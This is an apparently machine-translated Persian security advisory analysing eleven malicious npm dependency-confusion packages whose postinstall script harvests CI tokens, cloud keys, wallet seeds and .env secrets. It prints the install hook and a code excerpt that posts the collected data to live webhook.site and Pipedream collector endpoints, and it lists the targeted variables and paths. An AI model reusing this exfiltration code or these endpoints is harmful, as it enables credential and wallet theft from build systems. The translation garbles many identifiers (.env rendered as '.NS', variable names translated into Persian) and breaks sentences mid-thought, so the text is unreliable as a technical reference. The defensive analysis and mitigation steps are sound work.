TL؛ DR
در تاریخ 2026-06-17، یک حساب npm منتشر شد یازده بسته که یک هدف و یک بار مفید را به اشتراک میگذارندده نفر از آنها حامل ... cryptodao- پیشوند (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); یازدهمین مورد، مورد بررسی است @public-for-cdao/coreهر کدام در نسخهای منتشر شدند 99.99.99 و یک بایت-یکسان ارسال میکند recon.js که اجرا می شود postinstall.
نامها گویای همه چیز هستند. آنها مانند بلوکهای سازنده داخلی زنجیره ابزار خصوصی یک پروژه کریپتو/DAO خوانده میشوند. آنها با نسخهای مصنوعی بالا در رجیستری عمومی npm منتشر میشوند و منتظر ساخت میمانند. pipeline که برای حل آن نامها پیکربندی شده است و قبل از - یا به جای - رجیستری خصوصی به npm عمومی میرسد. این است سردرگمی وابستگیو محموله دقیقاً برای جایی که انتظار دارد فرود بیاید تنظیم شده است: CI/CD دونده.
چه زمانی postinstall آتش سوزی ها، recon.js جزئیات میزبان را جمعآوری میکند، تقریباً همه چیز را جارو میکند چهل متغیر محیطی ابری، CI و کیف پول رمزنگاری، هر چیزی را میخواند .env فایلهایی را که میتواند پیدا کند و خطوط حاوی اطلاعات محرمانه را کلمه به کلمه ارسال میکند، سپس بسته را به دو جمعکننده ارسال میکند -- webhook.site و یک نقطه پایانی Pipedream - با تأیید گواهی TLS غیرفعال. یک نسخه نیز در زیر نوشته شده است /tmp.
شدت: بلنداکوسیستم تحت تأثیر: npmهر یازده بسته در زمان نگارش این مطلب فعال بودند.
آناتومی حمله
این مکانیزم چهار بخش متحرک دارد و وقتی آن را یاد بگیرید، هیچکدام از آنها نامحسوس نخواهند بود. یک لایه بعد از نام بسته را بررسی کنید.
۱. تورم نسخه به عنوان یک طعمه برای حل و فصل. هر بسته، نسخه را اعلام میکند 99.99.99سردرگمی وابستگی زمانی اتفاق میافتد که یک مدیر بسته، درخواستی برای نام داخلی، همچنین رجیستری عمومی را بررسی میکند و بالاترین نسخه آن را انتخاب میکند پیدا میکند. انتخاب پیشفرض npm برای یک محدودهی هشتک یا وایلدکارت، است. رضایتبخشترین نسخه در هر منبع پیکربندیشده؛ اگر هر دو خصوصی باشند اگر پاسخ رجیستری و عمومی npm برای نام یکسان باشد، شماره نسخه بزرگتر برنده میشود. A 99.99.99 اساساً از هر نسخه داخلی واقعی که یک پروژه خواهد داشت، پیشی میگیرد رسیده است، بنابراین یک حلکننده که به منبع خصوصی پین نشده است، ترجیح میدهد نسخه عمومی - و در این مورد، خصمانه -. اپراتور نیازی به دانستن ندارد شماره نسخههای واقعی هدف؛ انتخاب یک حداکثر نامعقول، تساوی را همیشه تضمین میکند راهشان را میشکند.
۲. یک تریگر پس از نصب. pack.json محموله را به محل نصب سیمکشی کنید چرخه عمر:
{ "scripts": { "postinstall": "node recon.js" } } نیازی به وارد کردن بسته نیست. صرفاً نصب آن - که یک CI است - کافی است. pipeline به طور خودکار انجام میدهد - اجرا میشود بازسازی.js.
۳. یک عملیات گسترده و مخفیانه. بازسازی.js یک آرایه نتایج را در چند مرحله جمعآوری میکند:
- زمینه میزبان: نام میزبان، پلتفرم و نسخه، معماری، نام کاربری، نحوه کار دایرکتوری.
- متغیرهای محیطی: یک لیست ثابت از حدود چهل نام و رکورد را تکرار میکند. هر کدام که تنظیم شده باشند. این لیست گویای همه چیز است - توکنهای عمومی CI را جفت میکند. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, رمز دسترسی گیتلب) و ابر اعتبارنامه (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) با اسرار رجیستری و کانتینر (NPM_TOKEN, رمز عبور داکر, رمز عبور بندر) و یک خوشه با طعم رمزنگاری مشخص: کلید خصوصی, یادیار, عبارت SEED, کلید API فوری, کلید API کیمیاگری, ETH_RPC, BSC_RPCمقادیر ثبتشده به ۵۰ کاراکتر اول خلاصه میشوند.
- .NS فایلها: فهرستی از مسیرها را بررسی میکند — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, و تولید/توسعه انواع - و برای هر فایلی که وجود دارد، آن محتویات را به خطوط منطبق فیلتر میکند کلید|رمز|نشانه|گذرنامه|خصوصی|یادیار و آن خطوط را **به طور کامل و بدون برش** در نتایج قرار میدهد.
- زمینه ساخت-میزبان: 20 ورودی اول را فهرست میکند. /میسازد/, /خانه/gitlab-runner/builds/, /var/lib/gitlab-runner/و / tmp /.
لیست مسیر و لیست متغیرها به سمت اجراکنندههای GitLab وزندهی میشوند، که نشان میدهد بار داده مستقیماً در زیرساخت CI خود میزبان به جای یک توسعهدهنده لپتاپ. گروهبندی لیست برداشت بر اساس دستهبندی، میزان برداشت مورد نظر را مشخص میکند:
| دسته بندی | متغیرها / مسیرهای رسیده |
|---|---|
| CI/CD هویت و استقرار | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| ابر | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| رجیستری و کانتینر | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| فروشگاههای داده | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| کریپتو / بلاکچین | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| پیام | SLACK_TOKEN, DISCORD_TOKEN |
| روی دیسک | .env خانواده + /home/gitlab-runner/.env, /root/.env, /app/**/.envفهرست دایرکتوریها از /builds/, /var/lib/gitlab-runner/ |
خوشه رمزنگاری بخشی است که این را از یک CI-secret عمومی متمایز میکند. sweep: عبارات بازیابی کیف پول و کلیدهای امضا فقط در محیط a ظاهر میشوند. پروژه بلاکچین، و آنها مستقیماً روی آن نقشه برداری می کنند کریپتودائو-/امضا کننده/قرارداد نامگذاری حامل ها
۴. خروج دوگانه با غیرفعال بودن تأیید هویت آرایه جمعآوریشده عبارت است از سریالایز شده و به دو مقصد ارسال شده است:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) رد کردن غیرمجاز: نادرست بررسیهای گواهی TLS را برای خروجی غیرفعال میکند. فراخوانیها. همان دادهها در خروجی استاندارد چاپ میشوند (بنابراین در گزارشهای کار CI نیز قرار میگیرند) و نوشته شده به /tmp/.npm_recon_ .jsonخطاها بیصدا بلعیده میشوند، بنابراین ارسال ناموفق، هیچ اثری در خروجی نصب، فراتر از یک مورد، باقی نمیگذارد. [بازسازی] نصب شده روی خط.
یک نظر پیشرو در پرونده، آن را به عنوان «سردرگمی وابستگی» توصیف میکند. «بار مفید شناسایی.» کوتاه کردن مقادیر محیط به ۵۰ کاراکتر،... شکل یک اثبات مفهوم. چیزی که آن را از یک چراغ راهنماییِ فقط حضوری عبور میدهد، .NS مدیریت: خطوط حامل مخفی به طور کامل ارسال میشوند و مقصدها دو جمعکنندهی فعال و تحت کنترل مهاجم وجود دارند، نه یک جمعکنندهی فقط شمارشگر بازدید.
گاهشمار
الگوی انتشار، امضای یک ارسال اسکریپتشده است، نه یازده ارسال آپلودهای مستقل.
| زمان (UTC، 2026-06-17) | واقعه |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 منتشر شده |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — نوعِ تحتِ پوشش، تقریباً ۲۴ دقیقه بعد |
ده بسته در یک بازه زمانی ۲۹ ثانیهای ارسال شدند، تقریباً هر سه ثانیه یک بسته. محدوده @public-for-cdao/core حدود ۲۴ دقیقه بعد — یک ثانیه قرارداد نامگذاری برای همان هدف، در صورتی که پروژه مصرفکننده به آن ارجاع دهد زنجیره ابزار داخلی تحت یک محدوده به جای نامهای ساده.
شاخص های سازش
| نوع | شاخص |
|---|---|
| جمع کننده | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| جمع کننده | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| قلاب نصب کنید | postinstall: node recon.js |
| فایل حذف شده | /tmp/.npm_recon_<timestamp>.json |
| نشانگر ورود به سیستم | [recon] <pkg>@<ver> installed on <hostname> (خروجی استاندارد در لاگهای CI) |
| رفتاری | rejectUnauthorized: false در HTTPS خروجی هنگام نصب |
| ظرفیت ترابری | recon.js، در هر یازده بسته یکسان است (یک ساخت مشترک) |
| نسخه | 99.99.99 روی هر بسته |
| بسته | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (همه 99.99.99) |
| ناشر | aduljune / aduljune@proton.me (ایمیل تأیید نشده، بدون مخزن منبع لینک شده) |
انتساب و رفتار مشاهده شده
همه چیز در مورد این خوشه به یک نکته اشاره دارد. هر یازده بسته منتشر شدند توسط حساب npm آدولجون (aduljune@proton.me، یک آدرس تأیید نشده بدون مخزن منبع مرتبط)، در یک بازه زمانی ۲۵ دقیقهای، همزمان 99.99.99 نسخه ، حمل و نقل یک بازسازی.js که محتویات آن بایت به بایت در همه جا یکسان است بسته (MD5 در هر یازده نسخه استخراج شده مطابقت دارد). این یک بار داده است روی لیستی از نامها مهر شده است، نه استفاده مجدد از کد به صورت مستقل.
لیست نام، هدف مورد نظر را تعریف میکند. کریپتودائو-* و cdao توصیف کردن طرحبندی ماژول خصوصی یک پروژه کریپتو/DAO و فهرست برداشت محتوای مخرب آینههایی که حدس میزنند: در کنار اسرار عمومی CI و cloud، به طور خاص به سوی کلید خصوصی, یادیار, عبارت SEEDو اتریوم/BSC RPC و کلیدهای ارائه دهنده. .NS مسیرهای جستجو و فهرست دایرکتوریها GitLab-runner هستند خاص. اثر قابل مشاهده این است که هر pipeline فریب خورده و اینها را نصب کرده است names توکنهای CI، کلیدهای ابری و اطلاعات روی دیسک خود را ارسال میکند. .NS اسرار - و، برای یک پروژه بلاکچین، محتوای کیف پول آن - به دو کلکسیونر شخص ثالث.
ما هیچ ادعایی در مورد اینکه چه کسی حساب را اداره میکند یا قصد داشته با آن چه کاری انجام دهد، نداریم. دادهها. حقایقی که به خودی خود پابرجا هستند: نامها نوع خاصی از [اطلاعات] را هدف قرار میدهند. زنجیره ابزار داخلی، محموله مقادیر مخفی واقعی را میخواند و منتقل میکند، و زیرساختها فعال بودند.
تأثیر، روندها و راهنمایی مدافعان
سردرگمی وابستگی همچنان مؤثر است زیرا از رفتار حلکننده سوءاستفاده میکند، نه یک آسیبپذیری در هر بستهای. حامل اینجا بیاهمیت است - یازده تقریباً خالی است بستهها - اما شعاع انفجار هر چه که باشد pipeline به اشتباه npm عمومی را ترجیح میدهد برای یک نام داخلی. دوندگان CI بدترین مکان برای وقوع این اتفاق هستند: آنها ... دقیقاً توکنها و .NS این پیلود فایلهایی را میخواند و آنها را نصب میکند وابستگیها به صورت غیر تعاملی، بنابراین نصب پس از نصب بدون اینکه کسی تماشا کند، میدود.
این خوشه همچنین با الگویی که مرتباً میبینیم مطابقت دارد: بارهای داده زمان نصب که ارائه میشوند به عنوان «تحقیق» یا «شناسایی» در حین انجام جمعآوری مدارک واقعی. این برچسب در فایل، کاری که کد روی یک اجراکننده انجام میدهد را تغییر نمیدهد. دو گزینه طراحی حفظ میشوند فعالیت بیصدا: هر عملیات شبکه و سیستم فایل در یک ... پیچیده میشود. مدیریتکنندهی خطا که خطاها را نادیده میگیرد، بنابراین ارسال مسدود شده یا فایل از دست رفته است. هیچ خروجی تشخیصی تولید نمیکند، و تنها چیزی که چاپ میشود یک نمونه بیضرر است [بازسازی] ... نصب شده خطی که با پچپچهای نصب معمولی مخلوط میشود. استفاده از وب هوک.سایت و Pipedream نیز عمداً به دنبال راحتی است -- هر دو رایگان هستند، سرویسهای ثبت درخواست که فوراً ارائه میشوند، بنابراین اپراتور به هیچ سروری نیاز ندارد. نامهای میزبان خودشان و مقصدها در لاگهای خروجی مانند نامهای میزبان SaaS معمولی به نظر میرسند.
اقتصاد همان چیزی است که باعث میشود این موضوع مورد توجه مدافعان قرار گیرد، حتی اگر کد اپراتور چیز بیاهمیتی است. ثبت یازده نام هیچ هزینهای ندارد، تنها یک نام کافی است. فایل یازده بار کپی میشود، و مدیر بسته تمام مراحل اجرا را انجام میدهد. یک مورد اشتباه پیکربندی شده است pipeline هر جایی که یکی از این نامها را مصرف کند، بهای کل آن را میپردازد عمل.
گامهای مشخص برای مدافعان:
- دامنههای داخلی را به رجیستری خصوصی خود پین کنید. پیکربندی npm به گونهای که نامهای داخلی
و محدودهها فقط در برابر رجیستری شما (نگاشتهای رجیستری .npmrc با محدوده مشخص) حل میشوند. یا یک پروکسی که هرگز برای فضاهای نام اختصاصی به npm عمومی نمیرسد.) نامهای دامنه عمومی خود را رزرو کنید تا هیچ کس دیگری نتواند آنها را ثبت کند.
- Commit lockfiles و نصب با –ignore-scripts در CI در صورت امکان، یا مجموعه کوچکی از وابستگیها را که واقعاً به اسکریپتهای نصب نیاز دارند، بررسی کنید. recon.js نمیتواند اجرا شود اگر نصب پس از نصب اجرا نمی شود.
- با یک نام ۹۹.۹۹.۹۹ (یا نسخهای به شدت بالا) از یک نام داخلی برخورد کنید به عنوان یک پرچم قرمز در بررسی وابستگی و نظارت بر رجیستری.
- هشدار در مورد خروج از زمان نصب. A نصب پس از نصب که یک HTTPS خروجی باز میکند اتصال - به خصوص با غیرفعال بودن تأیید گواهی - به مسدود کردن webhook.site، Pipedream یا سرویسهای مشابه ثبت درخواست در لبه شبکه و علامتگذاری آنها در لاگهای ساخت، ارزشش را دارد.
- به دنبال آثار باستانی باشید. دوندهها را بررسی کنید /tmp/.npm_recon_*.json و برای [recon] ... روی ... نشانگر در لاگهای اخیر CI نصب شده است. در صورت یافتن، هر ... را بچرخانید اعتبارنامهای که در معرض آن قرار گرفته است pipeline — توکنهای CI، کلیدهای ابری، توکنهای رجیستری و هرگونه سید کیف پول یا کلید خصوصی موجود در محیط یا فایلهای .env.
منابع
در زمان نگارش این مطلب، هیچ گزارش خارجی در مورد این خوشه وجود نداشت؛ تحلیل موارد فوق مستقیماً بر اساس محتوای بسته منتشر شده است




